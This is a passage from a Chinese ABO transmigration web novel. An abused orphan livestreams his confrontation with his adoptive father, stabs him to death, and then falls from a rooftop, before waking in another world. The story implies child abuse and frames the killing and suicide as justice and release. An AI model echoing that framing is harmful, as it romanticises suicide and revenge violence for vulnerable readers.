季文菲整颗心酸涩膨胀,几乎说不出话来。 “你的命可真不好。”季文菲满是惋惜,他自身这么好的条件,哪怕是投在一个普通家庭,都能有很好的未来。 “是在这个世界命不好,在另一个世界还不错。” “啊?” “开个玩笑。” 季文菲不由一笑:“那说不定呢?他们不说宇宙其实有很多平行时空吗?” 此时屋内传来萌萌找妈妈的声音,两人才起身一前一后进了屋。 季文菲带女儿走后,卢绛也拉着行礼独自离开了小镇,搭公车去了市区。 再回到这处高档小区卢绛仿如隔世般遥远。 犹记第一次跟边乔回这里时,他的心既期待又惶恐,以为自己真的能有一个家,有爱他的家人。 没想到却是他此生噩梦的开始。 从走进这里开始,压抑恶心的情绪上涌,犹如顶着千斤巨石,每一步都走得十分艰辛。 来到熟悉的门牌前,卢绛按了会儿门铃,是一个十几岁的少年来开的门。 看到卢绛时很腼腆无措:“你找谁?” 卢绛看着他,仿佛看到了当年的自己,边乔真是一刻都没有消停。 ‘爸爸’这个名词卢绛叫不出口,连名带姓的问他:“边乔还没有回来吗?” “没有,你认识爸爸?” “认识,你不认识我?” 少年盯着他看了许久,瞳孔放大:“我知道你是谁了。” “嗯。”卢绛轻应了声,拉着行李走了进去。 “你怎么回来了?”少年紧跟在他身后,“你不是……不是不回来了吗?爸爸还留着你的房间,你要回房间休息吗?” “你叫他爸爸?” 少年神情紧绷,“啊……不然叫什么?” 卢绛打开卧室的门,里面还是他走时的样子,被阿姨收拾得尘不染,但是被套和床单都换了新的。 他回头看了眼少年:“你要不要进来坐会儿?” “可以吗?” “当然可以。” 少年脸上露出浅笑,跟着他进了卧室。 卢绛将门关上,关上了房间里的灯环顾了下四周,又将灯打开。 “你关灯干什么?” 卢绛又在屋内各个角落找了一遍,才说:“在找摄像头。” “什么?” “你来这里多久了?” “两个月。” “感觉怎么样?” “很好的,爸爸很关心我,每天晚上还会哄我睡觉,他是第一个关心我的人。” 卢绛怔愣了两秒,说道:“今晚你睡我房间,我去你房间睡。” “为什么?” “当然是给他一个惊喜。” 少年虽然觉得有些不对劲,但是没有多问,“好……” “你叫什么名字?” “舒青宇,青色的青,宇宙的宇。” “名字很好听,我叫卢绛。” 似是想到什么,卢绛从背包里拿出一个mp4和配套的耳机递给他:“第一次见面,这个送你,里面下了很多高中重点知识和英语听力练习教材,我现在已经用不上了。” 舒青宇一副受宠若惊的双手接了过去,“谢谢哥哥。” “不用谢,好好学习。” “我会的!” “里面还下了很多歌,学习累了可以听着放松一下,试试?” “好。” 舒青宇戴上了耳机,卢绛摸摸他的头,起身走出了卧室,关上门时顺手从外反锁拔下了钥匙。 卢绛将房子里的灯全熄了,打开了最热app平台直播,将手机放在了隐蔽的角落,只是稍微调试了下光线和视角。 陆续有观众进入直播间。 【好暗,主播怎么不开灯?】 【这是在干嘛?故作神秘吗?】 【主播再不说话,我要举报咯!】 【居然有134个观众,我说你们不要太无聊,这乌漆抹黑有什么好看的?】 【撤了撤了,主播吊人胃口。】 卢绛:“想知道我是谁?” 【卧操?声音好好听!】 【主播多说几句话,爱听。】 卢绛:“是吗?那就聊聊天。” 【主播为什么不开灯?是害羞吗?】 卢绛:“嗯……因为还没到时候,时候到了,我会让你们看到。” 【主播是CV吗?所以不露脸?】 【主播有什么才艺表演啊?唱歌会吗?唱首歌吧!】 卢绛:“不会唱歌,可以说故事。” 【故事?恐怖故事吗?】 【别呀,这么晚这么黑,好吓人的。】 卢绛:“我是一个孤儿,生下来就被遗弃在孤儿院,过去十八年,幸运女神从未降临,直到有一天,我在车轮底下救了一个小女孩……” 讲到他们喜欢的地方时,直播间开始有人刷礼物,从刚开始的一百多人,变成了四百多人在线听他讲故事。 “你们不要刷礼物,这个号我只登陆一次,只讲一次故事,你们刷的礼物,我收不到的。如果可以的话,麻烦你们转发分享直播间。” 【主播快继续说呀,你和J先生后来结婚了吗?】 卢绛:“当然没有啊,那个时候整个人都很迷茫很麻木,觉得不可能有人会爱我,甚至以为这一切都是一场梦,后来家里又给我介绍了一个对象,看起来是个家世不错,脸蛋长得很漂亮的omega,但还是没J先生好看……” 【这主播精神正常吗?笑死,还平行世界ABO呢,狗血小说看多了出现幻觉了吧!】 【听起来像个精神病,但他那么真情实感以第一人称自述,要不是这么离谱,我差点就信了。】 【万一说的是真实的呢?马斯克不是说我们活在真实世界的概率仅为十亿分之一?】 【精神病会传染人吗?】 【这个直播间病人真多。】 【我是青山精神病院主治医生,我听说这里的精神病很多,所以来看看。】 卢绛:“那一晚我没有去,我知道他等了我一个晚上,等我想明白对他的感情时,他已经把我拉黑了。” 【主播活该。】 【J先生很伤心吧,都追到这个份上了,你连一步都不敢向前,所以他放弃你了。】 卢绛:“后来我们很长一段时间没有再联系,直到他因为公司里与董事会的恶性竞争……” 【呜呜呜……谁哭了我不说。】 【主播,我也是爱无能患者,典型的回避型人格障碍,看过心医生,可是每次都克制不了,一旦亲近就会想逃离,反反复复伤害了对方。】 【主播应该很爱他,爱到超越了一切,才能克服心障碍。而且我感觉主播是个很温柔的人。】 卢绛:“我沿着下山的公路,也不知道走了多久,天空还下起了毛毛细雨,虽然那时候很害怕很绝望,但有一个声音告诉我,不能就这样放弃,那是我跨越时空,用尽十八年的运气才遇到的人,我没想到,J先生会追出来。” 【哇哦!】 【主播是不是写小说在引流啊,直接说是哪一本,我去看还不行吗?】 【老夫的少女心!】 卢绛:“我第一次看到他那个样子,衣衫不整,失魂落魄,那样冷静果决一丝不苟的人,为了我,变成了他不喜欢的样子,那一瞬间我特别后悔在岛上的那个晚上,没有答应他在一起,我也很心疼他遭遇的这一切……” 突然客厅里传来一阵响动,卢绛看了眼时间,在黑暗中叹息了声:“来不及说完了,如果你们想续写,一定要给我们一个好结局。” 【怎么来不及了?主播要睡了吗?】 【别呀,我正听到上头呢!听不到结局我睡不着觉!】 【主播不要走!】 外面的脚步声靠近,有人推开了门。 卢绛喊了声:“别开灯。” 那人怔愣了几秒,语气掩不住的欣喜:“阿绛,是你回来了吗?” 卢绛:“不是你叫我回来的?我在想我们之间,确实也应该有一个了断。” 【谁进房间了?】 【主播叫阿江?】 【是第四声,阿犟吧!】 【盲猜进来的人是主播的哥哥或者爸爸,不然谁会这么晚进别人的房间?】 【好奇怪,为什么不开灯啊?只能看到两个黑影。】 第94章 第94章 不用说对不起,因为我不原谅…… 边乔笑得虚假, 伸手去摸卢绛的脸,他没有躲开,那只冰冷的手带着湿气,袖口挥发的皮革香水味让人恶心。 “爸爸看到你回来, 真的很开心!说什么了断, 你真的能跟我了断?我对你不够好吗?我把你从孤儿院里带出来,供你吃供你好房子住供你读书, 只要你愿意, 以后我的一切都是你的!” “是吗?你最近不是又收养了一个小男孩?” 边乔失笑, 见摸脸没有抗拒, 又伸出双手去拥抱卢绛。 边乔的身量并不算伟岸,一米七六的样子,穿着西装包裹着细瘦的身体,保养很得体, 仰脸看向高出一个头的卢绛时, 双眼里闪烁着不符合他年纪的光。 卢绛只是淡漠地垂眸盯着他,透过这张皮囊, 看向他丑恶扭曲的灵魂。 “你说小宇?那还不是你不爸爸, 还生爸爸的气,爸爸很孤独很寂寞, 想找个弟弟回来搭个伴, 代替你说说话吗?” 卢绛嗤笑了声。 【wokao!这说的是什么话?】 【感觉叫小宇的小男孩真可怜, 这是被人当成替代品了吗?】 【啊不是……只有我觉得这两不正常吗?】 【是这个爸爸不正常吧?】 【你们别发癫, 看两个男人相拥就以为有奸情。难道爸爸还不能拥抱自己的孩子?】 【神经, 关了灯在房间搂搂抱抱,还说一些莫名奇妙的话是正常的父子关系?谁家的父子关系搞得这么暧昧?】 …… 卢绛长吁了口气,“所以我该信你?” 边乔继续哄着他, “你不信爸爸还能信谁?这三个孩子里,爸爸最爱的就是你,这些年,爸爸有真的伤过你一根头发吗?你这么乖,长这得这么漂亮,爸爸舍不得。” 卢绛沉默不语。 边乔将他往床边带,“你想通了就好,今晚就不走了吧,让爸爸好好抱一抱你,过来,小宝贝,你可真叫我抓心挠肝,夜不能寐!” 说着边乔搂过了他的脖子,作势去亲他。 下一秒边乔只觉脖子一紧,卢绛宽大的手掌就严丝合缝的锁住了他的脖子将他推开距离。 “呃!你……放手!” 【发生什么了?】 【woc!变态呀!妈妈我害怕!!】 【吾乃常山赵子龙,给在座儿子叠个buff。】 【这特么,要不要报警啊?】 【别发癫,继续看,不比狗血剧好看吗?】 【注意一下敏感字,别把直播给整没了,让我看看到底是个什么事。】 【好奇害死猫。】 …… “你想做什么?这是一个父亲该有的样子吗?你这个老变态!” 卢绛恶心的一把将他甩到了地板上,边乔疼得嘶哈喘气,被激怒后指着卢绛的鼻子破防大骂:“你这个油盐不进的小畜生!之前怎么没把你关在精神病院折磨死你!?” “怎么,你还想故技重施?” “我现在还是你名正言顺的监护人,你看我有没有那个能耐把你再送进去!” “是,你本事大着,边大律师要治我们这种无权无势的孤儿,动动手指就能把我们碾死!” 【我好像吃到了一个了不得的瓜?】 【这个信息量有点大啊,我的嬛嬛。】 【不会是我想的那个人吧?】 【温文尔雅的边律师人设好像崩了呢!】 …… 直播间陷入诡异的静默中。 “卢绛!你现在跪下来求我,我还能看在往日情份上,不计较这些!”边乔从未感受如此巨大的威胁与压迫感,他颤抖着手掏出手机,准备打电话叫人。 卢绛一个箭步上前,‘咔嚓’一声折了他的手机。 边乔瞪着惊恐的双眼,往后退了退,趁其不备想要夺门而出,他能感觉到今天的卢绛不对劲。 卢绛的速度很快,一个不经常运动又瘦弱的老男人,简直不堪一击。 他两步上前,伸手将边乔拽了回来,用力甩上门后反锁。 没有卢绛的视线遮挡,边乔看到了藏在角落里闪着屏幕光的手机,他开始真正慌了。 “你是不是又在录什么东西?小畜生,你还没被教训够吗?” 边乔发了疯地冲上前想要夺正在直播的手机,卢绛再次将他推倒,从口袋里拿出了一把弹簧刀,往他的手掌心上捅了个对穿。 怕他叫喊太大声,卢绛死命的捂住了他的嘴,男人豆大的汗液与涎水沾湿了他整个手掌,恶心得想吐。 血腥的味道将原本压抑暴走在边缘的人刺激得彻底疯狂。 “你知道吗?我日日夜夜,日日夜夜,想杀了你!我想让你死!!” 边乔吓得浑身发抖,地板突然多出一滩淡黄色的液体,在暗夜中无规则蔓延发挥出难闻的味道。 “你为什么要这么对我?你把我带回这里时,我真的以为可以有一个家。” “但是你都干了些什么?你说啊!!” “你毁了我的前程,对我的人生抹上去不掉的污点,让我被网暴整整三年,让我成为一个疯子一个笑话!你还想用同样的手段收养一个又一个,边乔,今夜就是你的报应!” 边乔泪水横流,拼命摇头似乎想要说些什么。 “我要听的只有你的赎罪,如果你敢讲别的,我不介意往你身上再捅个窟窿。” 边乔又用力点点头。 卢绛放开他时,那只沾湿的手掌用力的在垂落的床单上刮蹭,好脏,脏到仿佛浸入血肉,顺着血液流淌至全身。 边乔开口的第一句就是:“阿绛,你先……你先把视频关了,啊~咱们有话好好说,你想要什么都可以商量。” 卢绛捂着他的嘴再一次往他肩膀上捅了一刀,怪异低笑了起来,“呵呵呵……你不会以为我还在录音或者是录像保存证据吧?同样的错误,你怎么会认为我会再犯第二次?我在直播啊老变态!啊哈哈哈哈哈……” 【还是报个警吧,我感觉他已经彻底疯了。】 【好像有人已经报警了。】 【我的天,这……真的假的?太刺激了吧?】 【好吓人!】 【当初我就说卢绛看起来不是那样的人,你们网暴了他三年,人肉辱骂P遗像,愧疚吗?】 【面对一个持刀逞凶的暴徒,在什么铁证都没有的情况下,开始洗白了?】 【可是这个边乔真的好崩人设,好恶心!!】 网友讨论到一半,直播被平台监测到血腥暴力关闭了。 关闭前,在线观看人数达到了2W+,很多是从头到尾开始录屏。 现在直播突然关闭,没有了后续,千千万万网友在屏幕那边急得像只地里找不到瓜的猹。 真正关心故事主人公的并没有几个,他们需要的是刺激。 但是前后只过了半个小时,直播再次开了。 几万人竟争先恐后的涌入了直播间,热闹非常。 看来事件已经彻发酵在这个互联网开始传播。 镜头晃动了几下,才正面对着卢绛,他细致的调了调角度,微笑的往后退,一直退到了天台边缘。 卢绛双手用力一撑,轻松的坐在了栏杆上,身后冷风呼啸没有倚靠。 这里是五期的烂尾楼,晚上没有人会来这里。 他往身后看了看,确定高度足够,掉下去就能死透透,再也不用穿回来。 卢绛往直播里照了照自己,脖子和衣领上溅了不少的血迹,他拿纸巾淡定的擦了擦,沾上边乔的血,怪恶心的。 此时卢绛听到了不远处警车鸣笛的声音在靠近。 网友已经炸了。 【你把那人怎么样了?我kao!你别做傻事啊!】 【小哥,杀人犯法的!你疯了吗?有天大的委屈找律师起诉,干嘛非得走上这一步?】 【边乔不就是律师吗?】 【我记得之前小哥也报过警告姓边的猥亵,你们怎么骂他来着?】 【我觉得他太极端了,毁了自己也毁了别人。】 【怎么,觉得委屈就要鲨人吗?姓边的是人渣,这卢绛能是什么好人?】 【是生意没谈拢吧?狗咬狗而己。】 卢绛冷静的读着直播间的评论,脸上始终带着一抹浅笑,好像看的是别人的‘乐子’。 他不觉得委屈,没人在乎的委屈就是矫情。 “生意没谈拢?”卢绛轻叹了口气:“你别太离谱,一个五十多的老男人,你们不是早就证实了他连给我出国念书的钱都没有,能谈什么生意?难道你们上网发言不需要逻辑自洽吗?” “我始终相信这世间有正义,但迟来的正义不能保护我,更不能保护下一个、下下一个受害者,我知道他是魔鬼,我不能眼睁睁看他继续作恶。” “真相总有一天会大白于天下,但那已经不是我关心的事情了,我来到这个世界,做完了最后的任务,我该走了,并且保证不会再回来。” 【天哪,小哥你别做傻事,不要啊!你快退回去!!】 【是啊,有什么话好好和警察叔叔说,一定会还你公道的。】 【我不觉得你极端,如果是我遇到这种事,我可能已经吓得不知道该怎么办了。】 【小哥哥对不起,之前网暴你,你别这样,我真的害怕。】 【对不起+1。】 【对不起之前网暴你,希望你能有新的开始。】 【对不起……】 “对不起?”卢绛不由失笑,“你们想我回什么?没关系?” “干嘛要说对不起?你们网络狂欢的时候是真的很快乐,不用说对不起。” “我之前一直安慰自己,没关系,可是……我骗不了自己啊!真的很有关系,不用说对不起,因为我不原谅。” 卢绛深吸了口气,随后将心口的郁气一起呼出,最后只觉得浑身舒畅。 “我要回去见我的J先生了,他还在等我,在那个世界我过得很好,我有朋友,也有爱我的人。” “其他的无所谓了,我一定会和J先生有一个最好的结局。” “后会无期。” 卢绛摊开双手,身体往后倒去。镜头一空,只有一轮明月留在空白处。 第95章 第95章 家里父母不让……我带个孩子…… 一场网络狂欢持续到天亮。 ‘卢绛事件’在各大论坛和app上霸屏。 程泽野接到警察的传唤时正准备开早会, 听到卢绛出事,连早会都没开,赶去了警局。 在停尸房里,他看到两具已经冰冷的尸体。 一具是卢绛的, 另一具是边乔的, 边乔身上被扎了两刀,至命一刀在脖子上, 被弹簧刀用力割开了喉管, 法医说凶手下刀时没有犹豫痕迹。 卢绛的死归为畏罪自杀, 需要程泽野确定两个死者身份信息过来认领。 程泽野只是浅浅看了眼边乔的尸体, 让他们赶紧用白布盖了起来,多看一眼,他都嫌恶心。 强忍着悲恸,他轻轻揭开了另一边的白布, 卢绛是仰着从八层楼坠下来的, 至命伤在后脑,所以面容还是生前那个样子, 嘴角还噙着笑意, 没有一丝死前的恐惧。 他伸手轻触着他冰冷的脸颊,泪水如雨而下, 无法自己的趴在旁边失声恸哭, “阿绛!啊啊啊啊!” 半个月前他们还见了一面, 卢绛说不怪他, 他还以为他是真的放下了过去, 想要开始新的生活。 过往一幕幕在脑海里浮现,初见时,少年羞涩又纯真的模样很容易勾起了他的保护欲。 生来孤独的人, 被另一个人肯定和需要,不知道会有多开心多自豪。 那时,他知道,他是卢绛眼里无所不能的英雄。 小孩子崇拜和喜欢的眼神从来不知道掩藏,他也以为自己会是一个很好的哥哥。 他们谁也没能想到,他这个好哥哥,做为他在这个世界上最信任的人,却在最关键的时刻,给了他最致命的一击。 当他被所有人辱骂、被整个世界抛弃时,他这个哥哥缩在了龟壳里充耳不闻,也不愿去看,多看一眼,那些网络暴力都像是在控诉他的罪证。 因为他骨子里的怯懦,因为后来拥有了太多又美好到不愿意再失去的东西,所以他丢弃了他的阿绛弟弟。 “对不起……对不起,对不起,对不起!对不起……” 程泽野不断的道歉,除了道歉,他不知道还能对他说什么。 见他情绪太过激运,警察将他扶到了休息室,倒了杯热茶让他好平复一下心情。 程泽野刚走,外边又有一个人过来认领尸体,是个看起来四五十出头的女人,她说死者是她儿子。 办案人员震惊:“不是说是孤儿?” 女人为了证明没有说谎,她把出生证明和一块生辰铜牌拿了出来,警方调取了档案,有些是能对得上的。 办案民警打量了女人几眼,不由多问了句,“这孩子各方面都挺优秀的,当时怎么想不通要把他丢掉?出生才几个月就丢在了孤儿院里,这造了多大的孽啊!” 林秀双眼通红,表情仍旧有些麻木死寂,“那个男人不想负责,我也养不起,家里父母不让……我带个孩子不好嫁人。” 办案民警也不好再多说什么,只是带她去了停尸房,让她自己进去认。 林秀盯着已经失去生命的尸体,泪水无知无觉的啪嗒啪嗒往下掉,她只是安静的看着,没有说话,微微颤动的呼吸稍微透露出她此刻的悲伤情绪。 她应该第一时间记起银行卡秘码那串数字,那是她丢弃他的日子。 好一会儿,她擦了擦泪水,转身走了出去,向办案民警问了句:“那个……同志,尸体什么时候拉去烧?” 办案民警:“案子结了,就能马上拉去烧。” 林秀:“能不能到时候通知我?我想把孩子的骨灰带回去。” 办案民警怔愣了片刻,点头:“行,到时候会给你电话通知的。” 待这女人走后,另一个女警拿了一个移动U盘从休息室里出来,“那位程先生说,边乔所有的罪证都在这个U盘里,他希望结案时可以出一个全网通告,把边乔的罪证都罗例清楚。” 办案民警拿过U盘查看了里面的东西,是十几段录像和录音。 除了一些不堪入目的画面,在精神病院里的虐待,还有反人性的体罚和精神打压。 其中有一段视频是边乔为了逼卢绛交出证据,花钱雇佣了好几个打手,将他关在一个小黑屋里拿鞭子抽打他,差点被打死才让人停下,他也始终没说出U盘的下落。 让人唏嘘的是,第一次起诉,边乔把他唯一信任的程泽野策反了,就这么一次,被边乔抓住要害往死里打击,从此便万劫不复。 办公室里的办案民警看完,集体沉默了许久。 “这世道真是不公,那孩子才二十岁。” “姓边的畜生刚收养的那个也才十四。” “这小孩心性也是够坚韧的,经历这么多事情居然没疯,心素质好,人也挺聪明,就是命不好。” “我家小子要有一半这么乖巧懂事,上学有这个成绩,我就啥也不求咯。” “人死了,才知道追悔,有什么用呢?” “晚点联系下媒体,发个通告,这案子就算是结了。” …… 当晚官方发了通告,各大媒体疯狂转发报道,将原本就滚沸的话题冲上了一个前所未有的顶点,引发了十几亿的阅读讨论,成为一个现象级的社会及网络事件。 各种录频和不堪的图片评论转发,屏蔽和谐了又层出不穷,无法得到有效的扼制。 【人死了,全世界都吻了上来。】 【信不信,之前网暴卢绛的和哭丧的是同一批网友。】 【网友才是精神病!】 【智吃瓜,拒绝网暴!】 【吃了完整的瓜,我哭了一整晚,怎么会有人一生会过得这么苦?短暂的二十年里,充满了抛弃和背叛,但他还是那么善良,想要保护弟弟。暴风哭泣.jpg】 【我根本不敢想他拿起刀时,是下定了多大的决心,是受了多少委屈,在黑夜里独行了多久,最终才能义无反顾走上一条不归路,就为了维护那根本不会来临的正义。】 【看完我只觉得很绝望,很绝望……】 【希望这个世界能多一点爱和善良,希望所有人都能被温柔以待。】 【听说他死的时候是笑着走的,可能是这个世界太苦了,死亡是一种解脱吧。希望他在那个世界已经和J先生相遇,他们能幸福。】 【我一个做心医生的朋友说他其实精神不太正常了,分不清现实与幻想,可我无比希望他想像的世界是真实存在的,他已经回到了他想去的地方。】 * 暑假不知不觉已经到了尾声,天终于稍微转凉了有了点初秋的萧瑟。 林秀抱着骨灰盒失魂落魄的往回走。 可能出门太急了,头发很凌乱,破旧的绵绸衫套在她身上显得过大,风一吹勒着她消瘦的身躯在空中摇摆。 底都磨薄的人字拖还沾着菜市场里的发黑的鱼血点子,她浑然不觉近三十度的天儿还热,冒着大太阳麻木的赶回家去做饭。 走进老旧的筒子楼里,王瑞发一大早出去打牌了,王卓昨晚出去玩了一个通宵还在睡觉。 林秀走进厨房随便做了两口吃的,叫儿子起来吃午饭。 王卓饿了一天一夜,爬起来迷迷糊糊坐到桌前拿起了筷子,看了眼碗里的蛋炒饭,和一盘炒过头的豆芽菜,瞬间没了胃口,摔下了筷子。 “妈,我饿了这么久,你就做这么个猪食给我吃?” 林秀扒了两口白饭,只想着赶紧吃完去鱼场那边收鱼回来,下午还要去菜市场。 “我不吃了!你把我饿死吧!” 林秀无奈叹了口气:“你想吃什么,晚上回来妈给你做。” “你干嘛现在不做?!” “我下午还要去钓场那边收鱼,赶着去菜市场摆摊,有几个老客户订了单。” “卖鱼卖鱼卖鱼!人家爸妈做白领做公务员开公司,我妈呢?天天穿得跟个叫花子似的,一身鱼腥味,从年头忙到年尾,连买肉的钱都没有!” 正在这里,大厅老旧的门被人用力推开,王瑞发黑着张脸输牌回来了,看了眼饭桌和眼前的女人,道了声:“晦气!”转身走进了卧室。 王卓心里爽了,“怪不得我爸也不待见你,饭不会做饭,也不会收拾自己,我有你这个妈,我都觉得丢人。” 林秀咽下喉间的苦涩,没有反驳,这么多年,反正都习惯了。 反抗又能怎么样?虽然这个家破破烂烂,但离开这个家,她又能去哪里? * 自结案之后,程泽野就向公司递了辞呈,一个人躲了起来,谁也不见。 他暂时还没有面对外界狂风暴雨的心准备。 直到妻子蓝荷娜给他打了无数个电话,他觉得自己再也避无可避,至少得和妻子有个交待。 接通电话的那一瞬,蓝荷娜在手机那端十分生气,平时那么温柔的人,被逼得怒吼出声:“程泽野,你在哪儿呢?为什么不接我电话?你都二十六的人了,说辞职就辞职,一点担当都没有,你想干什么呀?!” 程泽野深吸了口气,声音沙哑破碎,“娜娜……” 听到他带着哭腔叫她的名字,蓝荷娜心头的火气顿时烟消云散。 “你先回来再说。” “我们离婚。” “好,就算是离婚,你也得回来跟我当面谈吧?” 程泽野沉默着。 “泽野,回来,逃避解决不了任何问题。” “我没脸。” “你把那些证据都交出去的时候,没想过这个后果吗?” “公司没受影响吧?” “怎么可能会没有影响?你以为你辞职了,就能挽回那些损失?你多大的人了,还干这么幼稚的事情?!” “我自己都觉得自己很恶心,你知道了这些事情,应该不会想再见到我。你放心,我们和平离婚,当初我一无所有来到你们家,离婚时我也不会多要的。” 第96章 第96章 老婆,我回来了。 蓝荷娜在电话那端没有说安慰他的话, 只是在强调需要彼此见一面,再决定离婚事宜。 她向来很冷静,程泽野也渐渐情绪稳定了下来。 “要不,晚上来咖啡馆, 以前在大学我们常去的那家?” 程泽野现在很自闭, 不想见任何人,只是说道:“你来以前的老公寓, 我在这里等你。” “好。” 挂断电话, 蓝荷娜交待了秘书一些事情开车赶去了以前的老公寓。 这间公寓是程泽野刚出来工作时, 给自己置办的第一分家业, 那时候他并不知道蓝荷娜的家世,他一直都在积极乐观的筹划着他们的未来。 这也是为什么蓝荷娜愿意下嫁,交付出自己真心的原因。 因为他的未来,有她。 四十多分钟后, 蓝荷娜来到了老公寓, 拿出备用钥匙开门走了进去。 她在卧室看到坐在地板上满脸颓废的男人,找不到平时意气风发的模样。 她的心脏不由刺痛, 小心翼翼在他身边席地坐下, 程泽野将埋在双膝上的头缓缓抬起,只见他双眼一片绯红, 俨然是哭过的模样。 “泽野……” “对不起。” 蓝荷娜嚅了嚅唇, 问他:“为什么要和我说对不起?” 程泽野抽着气, 满是难堪:“我隐瞒了自己的过去, 如果不是这次的事情……其实我打算瞒你一辈子, 我也以为可以瞒着一辈子的。” 蓝荷娜心疼地紧扣过他的手,“我不在乎你的过去怎样,泽野, 我不在乎!而且那也不是你的错,你不要这样惩罚自己。” “不……”程泽野嘲讽笑了声:“我这种人最坏了,做坏人坏得不彻底,做好人又利益熏心,如果当时我没有那么重的私心,阿绛他不会走上这样的绝路,是我害的他!” 蓝荷娜紧拥过他,安慰道:“我不管你对别人怎样,你对我是真心的就够了,其实我也是个很自私的人,比起别人,我更在乎你的感受,如果你暂时无法面对这些,我可以陪着你,一直到你有勇气去面对,我们不要离婚,好不好?” 程泽野迷茫的摇了摇头:“我不知道……如果我一辈子都无法面对,难道要连累你一辈子吗?” “我们是夫妻,夫妻之间怎么能说是连累?”她拉过他的手,轻轻按在了还平坦的小腹上,“本来我还没有准备要告诉你,我们要做爸爸妈妈了。” 程泽野心脏紧缩了下,不敢相信的瞪大着双眼看着妻子。 “我们在一起这么多年,这么多年的感情,怎么能因为这种事情就离婚就离婚?难道你真想我们的孩子一出生就要面对一个四分五裂的家庭?” 迷茫软弱的人在面对新生命不久后将降临于世,又重新充满了力量,想要做别人的后盾,他就不能软弱,自己的童年已经极其不幸,他不愿将一点不好的再带给自己的孩子。 蓝荷娜轻拍着他的后背,提着的心渐渐放下,“没关系的,泽野,没关系……你还有我和宝宝,你想逃避多久都可以,我会等你。” 程泽野瞬间红了眼眶,他何其有幸,遇到了她。 “娜娜,谢谢你。” “起来,洗把脸,然后吃点东西,不想出门的话,我们看看电影放松一下心情?” “嗯。”程泽野闭了闭酸涩的双眼,重新振作了起来。 他想起他和阿绛最后一次见面,他对他说的那句话,真正的意义。 ——你想要活着,就一定要好好地活着,要幸福地去爱你所爱。 那个时候他早已预料到了之后的一切。 他说原谅他,不再怪他,就是真的放下了,也希望他可以放下,让过往所有的痛苦,因他的离开全部带走,活着的人要学会忘记与释怀。 人应该要朝前看,不要总是活在悔恨中。 当下做的决择,不要去后悔,因为做什么样的决定,都有可能会后悔。 活在当下,握住自己能够握住的幸福,才是真实的。 * 林秀向老家那边打听了一下,想在村子里买一块墓地,给儿子下葬。 村子里的坟地没那么贵,家里的弟兄出面抽取了几千块中介费,加上卢绛给她留的四万块,再借一些就凑上了。 这几日为了办这个事,她下午早早收了工,回家准备拿卡取钱,回一趟乡下老家。 她记得卡是藏在床头柜用一个帐本夹着的,她把帐本翻烂了都没找到卡。 将卧室翻了个遍,她才认清一个事实,卡被偷了。 她独自坐在床头,等到天黑,门口传来动静。 “操,怎么没开灯啊?”王卓抱怨了声:“妈!我饿了,你怎么还没做饭?” 林秀僵硬的身子动了下,如同行尸走肉起身,来到了昏暗的大厅,当看到王卓身上的名牌衣服时,林秀血液仿佛在倒流,三两步冲上前抓过了儿子衣领,“你哪来的钱买的新衣服?说!” 王卓愤怒将她推开,心虚的没敢直视她质问的神情,“你管我哪来的?” “你是不是偷钱了?那张卡呢?还剩多少钱?你快把它给我!!”林秀歇斯底里的吼着,王卓第一次看到她这个模样,顿时有些心慌,将卡拿了出来。 林秀一把夺过卡,“用了多少?” “就……就两三万,我欠了同学的钱,都好久了,还了钱买几件新衣服,请女同学吃两顿饭,就没有了。” “你欠钱?” “我平时问你要钱,你有吗?别的同学都穿着名牌,说去哪儿玩就去哪儿玩,就我不行,因为我家没钱!我也要面子,我也有自尊心!你有考虑过我的感受吗?!” 林秀狠狠给了儿子一巴掌,彻底的寒了心。 这一幕恰好被喝了酒回来的王瑞发看到,一肚窝囊气没处发,以孩子为由抓过林秀的头发,一顿拳脚。 “你就是这么打我儿子的?啊?!要你有什么用?孩子孩子教不好,钱也赚不了多少,我们王家娶了你,真是扫把星入了门!” 王瑞发一脚将她踹倒在地,林秀看到站在一旁的儿子嘴角抑制不住在发笑,一脸兴奋乐祸,无声吐出两个字:“活该!” “去做饭,不然打死你个扫把星!”王瑞发打骂完,回头又儿子后脑勺来了一巴掌:“滚去做作业!一天天的,娘俩都是废物!” 傍晚的秋雨阴绵绵的在空中飞荡,林秀只收了一个背包,用包布将儿子的骨灰盒妥当裹好,抱在胸前义无反顾的消失在黑夜中,毫无留恋没有回头。 林秀走在冷风中,却有了莫大的勇气,原来踏出这一步也没有想像中那样难。 她用力抱紧胸前仅剩下的信仰和牵挂,“儿子,以后妈妈去哪里都带着你,我们再也不分开。” * 卢绛只觉得自己在黑暗中睡了很久很久,前尘往事如走马灯在脑海里闪过,这一次的重生是彻底的与过去的不堪道别,释怀开始新的人生。 只是他的头好痛,醒来发现自己又在医院。 他下意识寻找能证明自己身份的物件,身份证、病人手环、手机等……当看到手环上的名字时,他长舒了口气,没有变成别人,还是他卢绛。 他想爬起来去找景凉,但是力不从心又跌了回去。 直到护士小姐进来给他换药,见他醒了,问道:“你感觉怎么样啊?头还晕吗?” “晕……我怎么进来的?” “我也不太清楚,说是头部受到重击,从私人游轮掉进了海里,好在被人及时捞了上来,不然你得淹死了,现在都入秋了,晚上挺冷的。” 护士小姐一边说着一边给他细心的换药。 “对了小姐姐,你知道我手机放哪了吗?” “你手机?你来的时候好像什么都没带。” “那……我住院有人来看我吗?” 护士小姐十分肯定道:“你住院昏迷好几天,还真没有一个人来看你!” 卢绛心中难免酸涩,“可不可以借你的手机用一下,我想打个电话。” “哦,你打吧。”护士小姐姐很大方的将手机解锁递给了他。 景凉的电话号码早已记在心里滚瓜烂熟,此时此刻,卢绛却紧张得指尖在颤抖。 他摒着气听着话筒传来的盲音,等得心焦。 就在最后两秒钟,那端终于接了电话,还是记忆中清脆温和的嗓音,如珠落玉盘那般动人。 “你好,请问哪位?” 卢绛张了张嘴,喘了两口气,才从喉咙里找回自己的声音:“老婆,我回来了。” 那端传来一道抽气声,随后声色发哑,抑制不住的喜悦,却又忍不住哽咽,“好,我知道了,晚点接你回家。” “你知道我在哪吗?” “知道。” 卢绛不由失笑:“你可不可以早点来?我好久……没看到你了。” “我现在就赶过去,很快的,你乖乖的。” “也不用很快,你开车小心。” 挂断电话,卢绛满脸期待的将手机还给了护士小姐姐。 护士小姐姐还是第一次看到alpha打电话这么温柔说话的,不由问了句:“给你的omega打电话呀?” “对。” “哇哦~你的omega一定很幸福。” 卢绛抓着小被子,满脑子都在幻想等下要见面的情景,等待虽然难熬,但每一分每一秒都赋予了特别的意义。 结果这一等,就等到了夜幕降临,卢绛不想再这样干等下去,强忍着头疼感,坐起身双脚才刚着地,门猛地被人推开。 